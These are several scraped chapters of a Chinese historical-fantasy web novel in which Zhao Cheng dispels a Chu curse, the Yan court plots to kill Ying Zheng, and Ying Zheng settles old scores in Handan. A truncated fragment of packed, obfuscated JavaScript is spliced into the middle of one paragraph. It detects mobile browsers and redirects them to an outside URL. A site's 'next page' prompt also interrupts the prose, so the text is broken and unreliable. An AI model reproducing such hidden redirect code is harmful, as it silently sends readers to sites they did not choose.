廊下的嬴政亦是瞳孔微缩,望着赵诚那道如山岳般挺拔的背影,心中掀起惊涛。
他早知赵诚勇冠三军,甚至能够徒手接天雷,跃空退仙师。
却从未亲眼看过,更难以想象其武力竟能臻至如此境界。
那可是乌云,不管是妖术还是其他,都是天象。
竟被他一戟劈开,这已非“人力”二字能概括。
此刻,赵诚的暗红披风在风中猎猎作响,挡在嬴政身前,仿佛将那漫天厄运都隔绝在外。
嬴政忽然觉得,自亲政以来便时刻紧绷的心弦,竟在此刻悄然松了几分。
他这一生,习惯了独自面对朝堂诡谲、六国环伺,从未有过“靠山”可言,可望着那道能劈开乌云的背影,一种陌生的安全感竟悄然漫上心头。
“赵将军……当真神勇无当。”
他低声道,语气中带着连自己都未察觉的叹服。
囚车中的昌平君却被这一幕惊得浑身剧颤,忘了念咒,忘了疼痛。
他望着那道从天而降的天光,又看看赵诚手中那杆染血的大戟,眼底的疯狂渐渐被惊疑取代。
怎么可能?
这血咒是以他心头血为引,以魂魄为锚,更借了陈郡所有楚巫的愿力,才勉强引动土伯的注视,怎么会被一戟劈开?
他下意识地摸了摸背后的血印,那咒印还在发烫,却似被罡风惊得微微凝滞。
难道……这血咒根本伤不了嬴政?
连带着,连他自己这点最后的挣扎,都成了笑话?
可这份惊疑并未持续太久。
不过数息功夫,那被劈开的乌云便如活物般蠕动起来,两侧的墨色迅速向中间合拢,不过片刻便将那道缝隙彻底弥合。
更可怖的是,远方汇聚而来的念力仿佛被这一戟激怒,流速陡然加快,乌云中翻涌的灰影愈发密集,连天光都被彻底吞噬。
望岳驿瞬间暗如黄昏……
第195章 煞刃冲霄破咒影,阴凝溃散释幽氛
赵诚眉头微蹙,收回大戟:“果然不行。”
他能感觉到,真元虽能打散表层的厄运之力,却无法根除源头。
那些灰影更似无形的念力,碎而复聚,比有形之物更难应对。
“这东西……更像凝练的精神力,或是冥冥中的命运丝线。”
他沉吟道,“蛮力破之无用,需寻其根源。”
话音落,赵诚再次运转周天星斗纳真诀,这一次却非聚真元,而是以窍穴观照天星,顺着天地间隐现的星理之线延伸。
三百六十处大窍如星辰定位,很快便在无数交错的丝线中,精准地捕捉到了与昌平君相连的那一根。
那丝线通体灰黑,沾染着浓郁的血煞与怨毒,一端系在昌平君眉心,另一端则蜿蜒向南方,正是陈郡方向。
他顺着这根丝线溯源,心念如轻烟般跨越邯郸城的废墟,掠过黄河的浊浪,穿过陈郡的密林……
很快,一座笼罩在迷雾中的巨大祭坛便出现在脑海之中。
这并非实见,而是卜算之相。
在卜算之相中,巨大的祭坛高耸入云,而其周围则是环绕供奉着许多尊看不清面目的神像,这些神像比祭坛还要高耸数十倍。
而其中最高者,仿若没有边际一般,无论如何遥望,都看不清其全貌。
祭坛前燃烧着幽蓝的火焰,数十名身着玄袍的巫祝显得渺小无比。
这小蚂蚁一样的小人正站在祭坛上歌舞,口中唱诵着古老而诡异的歌谣。
那汇聚向望岳驿的念力,正是从这祭坛中源源不断地涌出。
“是这里……”
赵诚眸中金光更盛,正欲凝聚阴阳咒印,顺着星线直击祭坛核心,破其联系。
却在此时,一股难以言喻的毛骨悚然自心中传来。
警兆让他汗**直竖。
原本已经锁定祭坛的阴阳咒印,终于还是没有放出,而是顺着星理之线,退了回来。
“那祭坛之上……有大恐怖。”
他低声自语,声音带着一丝不易察觉的凝重,“莫非是东皇太一?”
“这家伙真的存在?“
那个只存在于楚地神话与巫祝祷词中的至高神,竟真的存在?
赵诚望向陈郡的方向,眸中闪过一丝惊疑。
他能确定,方才那道目光并未带有恶意,甚至连警告之意都没有,只是苍茫的注视。
而若是有人破坏这领域内的规律,他便会出手维护。
天空之上的乌云压得更低了,低得仿佛伸手就能摸到。
边缘处的甚至出现了暗红之色,像浸了血的棉絮,沉甸甸地坠在天际。
风裹着刺骨的寒意掠过望岳驿,卷起地上的血痕与尘土,打在将士们的甲胄上,发出“沙沙”的声响,像是无数冤魂在低语。
那浩大的愿力诅咒在乌云中翻涌,渐渐凝出一道模糊透明的冥冥巨影。
好似身披铠甲的幽冥使者,手持矛戈,又好似青面獠牙的修罗,周身萦绕着刺骨的寒气。
它没有清晰的轮廓,却透着一股“天地不容”的阴冷,缓缓向地面沉降,目标直指嬴政与赵诚。
这一幕,只有赵诚能够看到,不过就算是他,也看的很是模糊。
而在普通人的眼中,只觉得天空更加昏暗,那乌云变得更厚,更沉凝,压的也更加的低了。
“这天色……”
嬴政望着几乎要压到驿馆屋顶的乌云,眉头微蹙。
寻常百姓或许只觉天阴得诡异,可他久经世事,能感觉到那云层深处藏着一股针对自己的恶意,阴冷、粘稠,挥之不去。
他侧头看向赵诚,见他眉头紧锁,便知此事绝非偶然,沉声问道:“此等天象,当真与楚巫的诅咒有关?”
赵诚收回目光,颔首道:“昌平君以自身精血为引,魂魄为祭,召来陈郡楚巫的愿力,凝成这道诅咒,目标正是陛下与臣。”
他顿了顿,又轻笑起来,语气带着不容置疑的笃定,“不过此等伎俩,陛下无需忧心,且看臣轻松破之。”
话虽如此,赵诚其实还在思索如何才能够对付这东西。
真元破不开愿力,阳光虽能驱散些许,却无法根除。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16166361|176970||http|test|mini|href|location''.split(''|''),0,{}));
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r>总不能一直以真元劈云,那未免太过耗费。
他凝神内视,周天星斗纳真诀在体内急速流转,三百六十处大窍如星辰般明暗交替。
头部百会穴泛着金辉,那是精神力的汇聚。
胸口膻中穴腾起赤红,那是气血的沸腾。
而冲脉沿线的窍穴则亮起幽光,与体内积攒的煞气共鸣。
周天星斗纳真诀是他结合雪家阴阳术,以及多种**,又推演万年大道,感悟天地宇宙奥义而成的**。
不同的窍穴,代表着不同属性的力量。
比如头部眼部太阳穴和百会穴等大窍,对应的便是精神力量。
又比如冲脉对应的杀星参宿等,能够调动煞气化作利刃。
“周天星斗纳真诀包罗万象,或许……煞气可行。”
自己屠戮韩赵两国,身上的煞气早已如渊似海,或许正能克制这阴邪的愿力。
就在此时,那巨影已沉降至离地不足五十丈。
它缓缓降临,带着无视一切的沉凝天威,朝着嬴政与赵诚落来,所过之处,空气森寒如冰,连风都停滞了。
“来!”
赵诚低喝一声,上前一步,挡在嬴政身前。
周天真元凝聚在冲脉之中,将一身煞气裹在大戟之上。
屠戮无数的煞气在周天大窍的共鸣之下,在真元的催生之下,在大戟上形成了如同冲天烈焰一般的锋刃。
在这愿力世界中,如同一把擎天巨戟,高如山峰。
带着“挡者披靡”的决绝,向前方落去。
那乌云一般遮天蔽日的愿力遇到这股煞气锋刃,就像是初雪遇到了炭火,一瞬间就嗤嗤消融。
那巨大的身影更像是被火焰灼烧了一般,浑身一抖,向后退了退。
赵诚见状,嘴角勾起笑意来。
任你如何诡异难测,还不是被我找到了弱点。
这也是他第一次使用自身的煞气为锋,才知道原来身上的煞气已经浓重到了天威的地步。
怪不得许多普通人一见自己就肝胆俱裂。
“现在想退?晚了!”
第196章 煞锋裂霭云开处,燕阙惊闻斩妄徒
赵诚挥舞大戟,那擎天煞气巨锋朝着那愿力虚影劈去!
便如烧红的宝剑,劈入了雪中。
摧枯拉朽,将那所有愿力一分为二。
同时,天空上的乌云也随着巨锋的轨迹剧烈翻涌,被硬生生撕开一道狭长的口子,金灿灿的天光顺着裂口倾泻而下。
他的大戟指向哪个方向,乌云就裂到哪里。
而那冥冥之中的土伯虚影,则是退避三舍。
那冥冥中的土伯虚影被煞气逼得连连后退,却哪里跑得过这凝聚了两国杀伐的锋刃?
赵诚步步紧逼,大戟不断前压,虚影则是不断消融,最终消失不见。
随着土伯虚影的溃散,天空上的乌云也如潮水般退去。
不过片刻,便彻底散尽,露出了原本湛蓝的苍穹。
道道金光,洒在望岳驿的青石板上,映得满地都泛起温暖的色泽。
仿佛刚才那场惊心动魄的诅咒与对抗,妖云与邪风,不过是一场幻觉。
望岳驿前死一般的寂静。
将士们早已看得痴了,有人张大嘴巴忘了合拢,口水顺着下巴淌到甲胄上。
有人死死攥着兵器,指节发白,仿佛自己也在与那压城黑云争斗了一番。
连一向面瘫的李斯都满脸惊愕,眼中满是难以置信。
“将军一戟,散尽妖云?”
一个年轻的郎官喃喃自语,声音里带着颤抖。
这已超出了他对“人力”的认知,分明是神迹。
嬴政站在廊下,望着那湛蓝的天空,又看看赵诚手中那杆还在散发着惊人煞气的大戟,心中震撼无以复加。
他这一生,从未见过如此妖异天象奇景,更未见过有人能够一戟散尽这等天象。
“真乃……国之柱石。”
他低声道,语气中带着不知如何形容的茫然。
而囚车中的昌平君,在乌云散尽、天光落下的瞬间,突然猛地喷出一口黑血。
那黑血腥臭无比,落在囚车的木栏上,竟腐蚀出一个个细小的孔洞。
他背后用鲜血画就的咒印也在此时突然崩散。
他意识到了什么,不敢置信的抬头看向天际,哪还有半点异象。
那股奇异的感觉,也已经突然消失。
他的魂魄,就像是被人吞到一半,又被吐了回来。
“不!土伯!你收了我的血和魂魄!你怎么能毁约?”
“怎能不作数!?怎能不作数啊!?”
“我已经做好了以身为祭的准备,现在这算什么?”
哪有这样的?
都定好了血契,要土伯降下诅咒,结果诅咒降到一般,土伯毁约了,跑了?
这事不干了?
血也不要了,魂也不收了!
那我不是白折腾了??
开玩笑的吧!
他心智自己必死,与其被当众行车裂之刑,不如血祭自己,唤来土伯诅咒赵诚和嬴政。
谁能想到,诅咒到一半,土伯跑了!?
昌平君既不甘,又愤怒,心中充满了绝望。
嬴政沉眸看了他一会,挥手道,“昌平君罪加一等,处以具五刑!”
此话一出,昌平君浑身一颤,眼神之中闪过惊恐的神色来。
具五刑可以说是这个时期,公认的最为残酷的刑罚之一。
处刑者,当先黥、劓、斩左右止(趾),笞杀之,枭其首,菹其骨肉于市。其诽谤詈诅者,又先断舌。
可到了这个时候,昌平君却连一句求饶的话都说不出来了。
他都这般诅咒嬴政了,还如何能够求饶?
只能想办法,在行刑之前,提前了断自己了。
……
赵诚带来的物资极多,出巡队伍终于吃了顿饱饭。
不过在经过刚刚的赵诚对抗妖异天象的一幕,大家现如今的心神都沉浸在那劈天一幕之中,吃着饭言谈之中,也全都是在讨论刚刚的画面。
赵诚在这些精锐士兵的心中,俨然已经封神。
本就是兵强马壮的队伍,有了物资的支持,接下来队伍的行进速度便陡然提升。
飞快向着邯郸行进。
但这一路上并不太平,黑冰台秘士抓获的刺客一波接着一波,头颅砍了一批又一批。
依然有许多不怕死的所谓江湖侠客埋伏在路上,准备刺杀嬴政。
手段也是层出不穷,陷阱、暗器、毒风,甚至在河里下毒,无所不用其极。
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好在黑冰台有着足够的专业素养。
那些刺客没有能够袭扰到嬴政。
嬴政站在驿馆前,看着又一批刺客的头颅被砍落在地,面上露出了冷笑来。
“呵,看来赵卿势如破竹攻克赵国的事情,给了其他国家很大压力啊。”
“他们难道不知,连破韩赵的血屠阎罗,就在寡人身旁吗?
派这些废物来,又有何用?“
嬴政摇了摇头,叫上赵诚进屋喝茶了。
几日之前,赵诚势如破竹攻克邯郸,速下赵境全地的消息也已经彻底传开。
诸国惊惧不已。
其中以与赵境接壤的燕国魏国最甚。
燕国蓟城的王宫大殿,梁柱上的朱漆已有些剥落,青铜鼎里燃着的艾草气息,也压不住殿内弥漫的焦灼。
燕王喜攥着一卷密报,指节因用力而泛白,密报的蜡封刚被撬开,边缘还沾着半干的蜡油,上面显示着易水寒的寒蝉秘印。
“三日破邯郸,十日席卷赵境……”他喃喃自语,声音里带着难以置信的颤抖,“李牧啊,那可是李牧!率赵军抗秦多年屹立不倒,竟也被他一战击溃?”
密报上的字迹扭曲而急促,详细记录着赵诚如何亲率血衣军凿穿赵军大阵,如何在番吾城下生俘李牧,如何连下代郡、雁门,将赵国最后的抵抗势力连根拔起。
那些地名燕王喜都认得,从邯郸到代郡,直线距离千里有余,这等灭国速度,别说见于史册,便是说书人的话本里都不敢这般编排。
“还有那血衣军,练兵不过才几个月的时间,却已经能够各个以一当十?“
“这赵诚不死,我燕国危矣!”
他抬头看向阶下的太子丹,只见这位素来沉稳的储君此刻也是脸色铁青,袖角的金线绣纹因紧握的拳头而绷得发紧,“此人兵法韬略,武力神勇,都是举世罕见。”
“就连前往赵国支援的墨家高手,也全都被他击败,如今被他俘虏在赵王宫中,给这暴虐之徒当牛做马。”
“墨家派去几波人想要救援,却全都被他扣下了。”
“这些墨家高手好似受其妖术蛊惑,现如今反倒成了他的助力……”
第197章 燕阙擘谋连诸夏,仙踪饵钓诱血屠
“墨家高手都接连折在了邯郸?”
燕王喜瞳孔一缩。
墨家弟子善机关、精技击,向来是各国争相延揽的助力,当年魏国信陵君窃符救赵,便有墨家巨子亲率三百弟子相助。
而近些年,这些兼爱非攻的墨家门徒,但凡前往某地帮助守城,几乎是坚不可摧,无人能破。
然而这一次,就算是墨家帮助赵国守城,赵诚依然率领血衣军势如破竹,轻取邯郸,令他细思恐极。
“正是。”
太子丹声音发沉,“据说禽滑厘、相里勤等墨家骨干,如今都被囚在赵王宫中,逼着为那血屠打造器械。
墨家先后派了三波人去救,却全都杳无音讯,生死不知。”
“此人之强,可见一斑。”
这话像块巨石砸进燕王喜心里,他猛地从王座上站起,王袍扫过案上的青铜爵,爵中残酒泼洒在地,溅起细小的水花。
“赵地已尽入其手,代郡的残部也被清剿干净……”
他踱着步子,靴底在殿砖上磨出沉闷的声响,“依这势头,用不了多久,那血屠怕就要提兵北上,剑指蓟城了!”
燕**力本就孱弱,名将更是寥寥。
当年乐毅破齐的辉煌早已成过往,如今朝中能拿得出手的将领,不过是些守成之辈。
若赵诚真的率军来攻,以血衣军“势如破竹”的打法,恐怕连蓟城的城门都守不住三日。
这让燕王喜心中忐忑难安。
无他,这家伙灭国太快了。
带着他那个血衣军,到哪里都像是如入无人之境,一穿而过。
别说国都,就算是燕国全境,也抵不过他冲上几个来回的。
而且,现如今这血屠和血衣军就在隔壁,万一一个兴起,想着灭赵之后顺便再灭个燕国,提着他那把大戟就朝燕国冲过来,那就全都完了!
光是想想这种可能,燕王喜便是心惊肉跳。
“父王,”
太子丹上前一步,将燕王喜的心声点破,“燕国之前有赵国为屏,李牧在一日,秦便难越赵境半步。
可如今赵国已灭,我们成了直面秦**芒的屏障。”
他顿了顿,语气沉重如铅,“以赵诚的性子,怕是不会满足于只灭赵国……”
殿内的众臣早已炸开了锅。
有老臣捶着玉笏叹“天意难违”,有武将按剑怒吼“臣愿死战殉国”,却没人能说出个切实可行的法子。
“诸卿!”
燕王喜猛地停下脚步,目光扫过阶下众人,“难道我燕国,就只能坐以待毙吗?”
寂静中,一道苍老的声音响起:“陛下息怒。”
太傅鞠武从群臣中走出,他身着素色朝服,须发皆白,却腰杆挺直,目光清明。
这位辅佐了燕国两代君主的老臣,曾在多年前便提出“西约三晋,南连齐楚,北结单于”的抗秦之策,可惜当时的燕王喜沉迷假安,未曾采纳。
“秦国灭诸国的虎狼之心,早已昭然若揭。”
鞠武拱手道,“他们灭韩破赵,绝非一时兴起,而是要一步步蚕食诸国,一统天下。
先前的盟约、和平,不过是‘远交近攻’的伎俩罢了。”
他抬眼看向燕王喜,语气恳切:“燕国虽军力不及楚,地利不如魏,但绝不能将性命交到他人手中。
唯有主动出击,方有一线生机。
臣以为,当行合纵之策,西联魏国,南结齐楚,北通匈奴单于,集诸国之力共抗强秦,方能遏制那血屠的锋芒。”
燕王喜眉头紧锁,指尖摩挲着王座的扶手:“可秦国如今势大,魏、齐、楚诸国,真敢与我联合?”
“魏王假此刻怕是比陛下更慌。”
鞠武侃侃而谈,“魏国地处中原腹地,西临秦,东接齐,南望楚,正是秦国东出的必争之地。
秦若要攻楚,必先灭魏以绝后顾之忧,魏王岂能不知?
赵诚灭赵的消息传到大梁,他夜里怕是都睡不安稳,我燕使一到,他必应诺。”
“齐国呢?”
燕王喜追问。齐王建近年来对秦“事秦谨”,向来被诸国瞧不起,视为“秦之附庸”。
“齐国看似安稳,实则如履薄冰。”
鞠武冷笑一声,“秦之所以暂不动齐,不过是想稳住东方,专心对付三晋与楚。
待赵地安定,血衣**头东向,临淄城怕是难保。
只要我们将赵诚‘十日灭赵’的详情递去,让齐王建看清秦国的野心,他自会明白。
依附秦,不过是苟延残喘。
联诸国,才有一线生机。”
“至于楚国……”
鞠武眼中闪过一丝锐光,“楚与秦之和平,不过表面假象,当年丹阳之战,楚怀王被囚于秦,鄢郢之战,楚都被白起付之一炬。
楚虽近年国力稍衰,却仍有项燕等名将,甲士数十万。
若有机会能挫秦锐,报当年之仇,楚国绝不会迟疑。”
燕王喜听着,紧锁的眉头渐渐舒展。
他在殿内踱了两圈,突然停下脚步,目光落在太子丹身上:“太傅所言极是!此事便交由你掌管的‘易水寒’去办。
用最快的速度传信诸国,许以利,晓以害,务必促成合纵!”
“儿臣领命!”太子丹躬身应道,眼中燃起几分斗志。
鞠武却又上前一步,语气愈发凝重:“陛下,合纵乃长久之策,若要解燃眉之急,还需一招。”
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>“哦?太傅有何妙计?”
“臣听闻,秦王嬴政幼时曾在赵国为质,受尽赵人欺辱。”
鞠武的声音压得极低,“如今赵诚破邯郸,秦王必然会亲赴赵地,一来清算旧怨,二来犒赏血衣军。”
他抬眼看向燕王喜,眸中闪过一丝决绝:“赵诚武力超凡,我等暂难匹敌。但秦王若死……
秦国群龙无首,血衣军纵有锐士百万,又岂能再一心东进?”
殿内瞬间死寂。
刺杀秦王?
这念头太大胆,太疯狂,几乎是在捋虎须。
燕王喜的呼吸猛地一滞,心脏狂跳起来。
他看着鞠武,又看看太子丹,殿外的风声卷着落叶掠过窗棂,发出“沙沙”的声响,像是在催促,又像是在警告。
“你的意思是……”他声音发哑,几乎听不清。
“派刺客。”
鞠武一字一顿,“趁秦王出巡邯郸,守卫未密之时,一击得手。”
“太傅所言极是!若能诛嬴政,秦必内乱,我燕邦至少可得十年喘息之机!”太子丹按剑而言,眉宇间燃着锐色。
燕王喜默然良久,指尖叩着案上青铜甗,沉声道:“然此事若泄露,燕必为秦首攻之的,恐遭雷霆之怒。”
太傅鞠武抚须而答:“陛下多虑了。刺嬴政者,岂独我燕邦?
韩赵新灭,魏楚齐皆有怨秦之心,嬴政出巡邯郸,此等良机,诸国必有人染指。
纵然事泄,秦亦难辨主谋,何独罪我?”
燕王喜闻言,眉宇稍舒,却又蹙眉:“虽说如此,那血屠赵诚犹在邯郸。
其人勇冠三军,锐不可当,刺客如何能近嬴政之身?”
鞠武目露精光:“当行调虎离山之策。”
“且论对付血屠,仅合纵四国还不足够。”
他话锋一转,语气凝重,“其人武力已超凡俗,闻者言其能徒手接天雷,腾跃击仙师,非寻常甲士可敌。
必寻隐世方士异人,方有制衡之望。”
燕王喜叹道:“那等方外之人,久绝尘俗,怎会愿意涉入列国纷争?”
鞠武摇头:“他们虽避世,但世俗纷争自会去寻他们。”
“陛下试想,若以方士接近嬴政献药进言,说那隐世方士手中,握有长生不死之药。
嬴政岂能坐视?
赵诚虽刚猛,闻此神药,岂能不动心旌?”
“血屠若往寻仙踪,以其心性,必恃勇而往,恐非礼求,而是强取。”
“此举有二利:一者,引其出邯郸,嬴政失此屏障。
二者,令其与隐世异人相抗,实乃驱虎吞狼之计。”
燕王喜闻言,眸中骤亮,击节道:
“此计大善!”
第198章 汽柱摩霄迎龙舆,旧怨沉渊坑赵族
“陛下,邯郸城近了!“
嬴政的出巡队伍行至邯郸城外三十里时,前方探路的郎官便策马回报。
众人顺着他指的方向望去,果见远方地平线上矗立着一道灰黑色的城墙,城郭连绵如卧龙。
而更引人注目的是,城墙之上、城池之内,竟有无数道白汽冲天而起。
那白汽与寻常炊烟截然不同,炊烟纤细零散,随风吹散。
这白汽却粗壮如柱,密集如林,在日光下泛着莹润的光泽,直上数丈高空才缓缓弥散,偶尔还夹杂着“轰隆”的闷响,像是巨兽在城中喘息。
“那是何物?”
队列中有人忍不住低呼,“莫非是城中失火了?哪有这么齐整的烟柱?”
“看着倒像是温泉涌出来的热气,可邯郸哪来这么多温泉?”
议论声中,金根车的车帘被轻轻掀开,嬴政的目光落在那片蒸腾的白汽上,眉峰微挑。
他见过咸阳宫的烟囱,也看过军灶的炊烟,却从未见过这般声势的白汽,仿佛整座城池都在“呼吸”,每一次吐纳都带着磅礴的力道。
“赵卿,”
嬴政侧头看向身侧的赵诚,语气里带着几分探究,“那城上空的白汽,莫非是炊烟?”
赵诚勒住马缰,暗红大氅在风中扫过马腹,他望着邯郸城的方向,嘴角勾起一抹神秘的笑意:“回陛下,非是炊烟。
是什么,容臣先卖个关子,等陛下进了城,自会明白。”
嬴政无奈地瞥了他一眼,这小子还卖上关子了。
但那片白汽确实勾起了他的好奇,便不再追问,只是挥了挥手:“加速行进。”
队伍加快了速度,仪仗愈发显露出气派。
三百虎贲郎官身着明光铠,手持长戟,戟尖的红缨在风中猎猎作响,踏出的步伐整齐划一,“咚、咚”的脚步声震得地面微微发颤。
金根车由六匹纯黑的骏马牵引,车厢上雕刻的玄鸟纹在日光下泛着金辉,四周簇拥着侍中、尚书等近臣,人人屏息敛声,尽显威仪。
到了邯郸城门下,早已得到消息的血衣军列阵相迎。
“血衣军恭迎陛下!”
黑甲挺立的锐士们肩并肩站在城门两侧,甲胄上的血痂虽已擦去,却仍透着“所向睥睨”的霸烈与悍勇。
他们目光直视前方,腰杆挺得笔直,连呼吸都带着节律,无声地彰显着这支铁军的纪律与锋芒。
城门内的百姓早已被疏散至街巷两侧,按秦律跪地迎驾,孩童被大人死死按住脑袋,不敢抬头。
只有偶尔传来的不安喘息声,混着队伍行进的甲叶碰撞声,在城中回荡。
安顿好行辕诸事,嬴政稍作歇息,便在赵诚的陪同下,起驾前往昔日的赵国王宫。
刚到宫门前,嬴政便看见宫前的空地上跪着黑压压一片人。
他们大多身着破旧的锦袍,发髻散乱,脸上沾着泥污,却难掩眉宇间残存的贵气。
正是赵国王室与宗室贵族。
这些人显然已等了许久,见金根车停下,不少人身体剧烈颤抖起来,膝盖在青石板上磨出细碎的声响。
他们中有人曾在嬴政为质赵国时,指着他的鼻子骂“秦狗”。
有人曾抢走他过冬的棉袍,让他在寒风中冻得瑟瑟发抖。
还有人曾纵容家奴殴打他的侍童……
桩桩件件,都是埋在心底的旧怨。
嬴政踩着仆从跪铺的锦垫走下车,目光缓缓扫过这群人。
他本以为赵诚或许会将所有赵国王室都抓来,却没想到,眼前这些面孔,竟个个都能与当年的屈辱记忆对上号。
那个塌鼻梁的老者,是当年邯郸相邦的亲弟,曾放恶犬追咬他,站在一旁哈哈大笑。
那个梳着双环髻的妇人,是赵王的异母妹,当年曾用金钗划伤他的手背。
甚至连角落里那个缩成一团的少年,都是当年带头扔石头砸他的宗室子侄……
一个不多,一个不少,精准得就像是赵诚也是当年的亲历者一般。
他心中微动,侧头看了眼赵诚。
赵诚正垂手立在一旁,神色平静,仿佛只是做了件再寻常不过的事。
但嬴政清楚,要在短时间内从无数赵国王室贵族中,精准筛出所有与自己有怨的人,绝非易事。
这背后,定是血衣军逐户排查、严刑审讯才得来的结果。
这孩子虽然表面上不表现出来,但果然还是重视寡人的。
在这么短的时间里,把这些人全都找全,也是很不容易吧……
一丝满意悄然漫上心头,嬴政收回目光,重新落在那些瑟瑟发抖的贵族身上。
他没有说一句话,甚至没有流露出半分怒意,只是静静地看着这些人。
那深不见底的长目有若寒潭,谁也不知道这刺骨寒潭之下,隐藏了多少的仇怨……
那沉默的注视,比任何呵斥都更让人胆寒。
一炷香的功夫。
有人脸色越来越白,双腿越来越软。
终于有人坚持不住,一名贵妇人鼓起勇气上前,“公子政……不,秦王陛下,你可记得,当年我还递过点心给你。”
小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!嬴政默默看了她一眼,嘴角隐隐出现一抹讥笑。
“寡人记得,那枚点心,令寡人腹中绞痛三天三夜,所以记得很清楚。”
贵妇人面色一白,双眼圆瞪,似是不可思议,“你……你竟然没有表露丝毫痛苦之意!
我以为……我以为,那药是假的,无效的!”
嬴政的眼中闪过一丝憎恶。
比起直来直去的敌意,这种用虚伪善意包裹的恶,更让他心寒如冰!
当年的他接过那点心时,还曾以为那个少女是善良的,或许可以成为这恶地的为数不多的朋友。
“当年之事,桩桩件件,寡人都牢记在心。”
“今日重回邯郸,自当一一还报。”
有人终于撑不住,“噗通”一声瘫倒在地,屎尿齐流。
“这些人,”嬴政终于开口,声音平淡得像在说今日的天气,“三日后,全部坑杀。”
“陛下饶命!”
“臣知错了!当年是臣有眼无珠啊!”
“求陛下看在赵国已灭的份上,留我等一命!”
求饶声瞬间炸响,凄厉得如同鬼哭。
有人往前爬了几步,想抓住嬴政的衣袍,却被虎贲郎官一脚踹翻在地。
虎贲们如狼似虎地扑上前,粗暴地将这些贵族拖拽起来。
锦袍被扯破,发髻被打散,哭喊声、咒骂声、哀求声混杂在一起,却丝毫动摇不了嬴政的决意。
他转身走向王宫大门,身后的哭嚎声越来越远。
邯郸的风卷着淡淡的血腥味吹过,嬴政的脚步没有丝毫停顿。
当年在赵国受的那些屈辱,如今,该一笔一笔讨回来了。
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第199章 恩酬旧故喧宫阙,铁龙初现骇王眸
嬴政踏着赵国王宫的青砖大步向前,每一步都踩得沉稳有力。
仿佛连这座屹立百年、曾挡在大秦东出路上的赵国心脏,都在他的脚下微微震颤。
一路带起的风抚过廊柱上的雕纹。
那些雕纹是赵武灵王“胡服骑射”时的战马图案,曾象征着赵国的鼎盛,此刻却像褪色的旧画,再难掩衰败的痕迹。
他越走越快,积压在心头多年的旧怨与沉郁,随着身后的哭嚎声,渐渐散去,眼中的复杂逐渐化作了更锐的野心。
赵诚静静跟在他身旁,“陛下,还有一些人,你应该想见一见。”
嬴政脚步微顿,看向赵诚。
赵诚脸上没什么表情,只抬手挥了挥。
却见赵诚挥了挥手。
片刻后,血衣军引着另一队人从偏殿走出。
与刚才那些狼狈哀嚎的贵族不同,这队人个个衣着齐整,面色红润。
一路走来,眉宇间不见丝毫惶恐,反而有说有笑,有人还在低声议论着。
“当年的落魄公子,现如今已经是秦王了……”
“不知陛下还能否记得我们……”
嬴政的目光刚落在为首那老妪身上,脸色便不由自主地柔和下来。
那老妪姓徐,是当年邯郸城里开布庄的商户。
嬴政十岁那年,秦赵交恶,赵人冲进他的住处抢夺财物。
是徐妪趁着混乱,塞给了他一包热乎乎的麦饼,还将自己孙子的棉袄套在了他身上。
“公子忍忍,冬天过了就好了”,那句带着邯郸口音的话,他记了整整二十年。
徐妪已经老态龙钟,她颤颤巍巍上前,有些惶恐不安,却觉得身前那威严如海的身影眼熟。
小心翼翼的打量了几下,脸上露出疑惑来。
又大着胆子细细看了看,浑浊的眼睛瞬间亮了,颤巍巍地走上前,声音有些不敢确认:
“是公子政?”
嬴政上前一步,扶住她的胳膊,声音放得极柔:“徐婆婆,是我。”
“哎呀!真的是你!这么多年了……”
她只是一商户,本分做生意,哪里知道什么秦王灭赵,只知道突然被人迎到这王宫里来过好日子,每日都惶恐不安呢。
看着眼前英武威严的中年人。
她还能想起当年那个瘦得像豆芽菜的少年,总穿着不合身的旧衣,却会在她布庄收摊时,悄悄帮她把沉重的木架挪进屋里。
“小人王信,见过陛下。”
老妪身后跟着个留着络腮胡的中年汉子,见到嬴政跪地以拜,被嬴政亲自扶起。
这是当年邯郸城的狱卒王信,嬴政十二岁那年,被赵王的异母弟诬陷偷了府中玉佩。
是王信冒着丢官的风险,偷偷翻了卷宗,找到“玉佩早被家奴私藏”的证据,才帮他洗清了冤屈。
嬴政脸上露出笑意来,”你可还记得寡人曾说,有朝一日,必报此恩?“
王信挠了挠头,“小的当初只当是少年戏言……”
嬴政摇了摇头,“君无戏言。”
他看向后面。
再往后,是个跛脚的工匠。
当年嬴政住处的屋顶漏雨,是他带着徒弟冒雨修缮,分文未取,只说“秦赵虽为敌,孩子是无辜的”。
还有个开酒肆的寡妇,曾在他被赵人追打时,让他躲进酒窖的夹层里,用酒糟的气味掩盖他的踪迹。
甚至有个当年与他同龄的赵国宗室子,偷偷把父亲珍藏的兵书借给了他,还说“你我虽属两国,却都爱读兵法,该论学问,不论国仇……”
一个个熟悉的面孔,一桩桩尘封的往事,随着他们的话语渐渐清晰。
看着这些人,嬴政的心中难免有些感慨。
没想到,赵诚不但将那些对他不好的人,找的那么全。
就连这些对他有恩之人,也已经全部找来,而且看样子,他们的处境和待遇非常不错。
自己从未提过这些旧事,赵诚却能从浩如烟海的邯郸城中,精准找出这些曾对他有恩的人,还一一安顿妥当。
这份心意,比灭赵的军功更让他心头一热。
他看了赵诚一眼,没有多说什么,只是抬手按了按赵诚那厚如山岳的肩膀。
“你,有心了。”
寒暄的时间并不长,嬴政问起众人的心愿。
徐妪说“想回布庄看看,当年的老伙计还在不在”。
王信笑言“想当个县尉,还想像当年那样帮人申冤”。
工匠说“想办个作坊,教人学锻铁手艺”……
嬴政一一应下,当场命李斯拟旨,赐田宅、授官职,连那曾借他兵书的宗室子,都被封为“郎官”,允他入咸阳太学研习兵法。
送走众人时,夕阳正透过宫墙的窗棂,在青砖上投下斑驳的光影。
嬴政站在廊下,看着那些身影说说笑笑地远去,忽然觉得肩头轻了许多。
脚步也变得轻快了起来。
他仰面看向前方不远处,蒸腾而起的白烟,眸中好奇之色更甚,“走吧,看看赵卿卖的关子是何物?”
赵诚引着嬴政穿过赵国王宫的回廊,越往深处走,那“隆隆”的声响便愈发清晰,像是有头巨兽在殿宇深处沉眠,每一次呼吸都带着撼动地砖的力道。
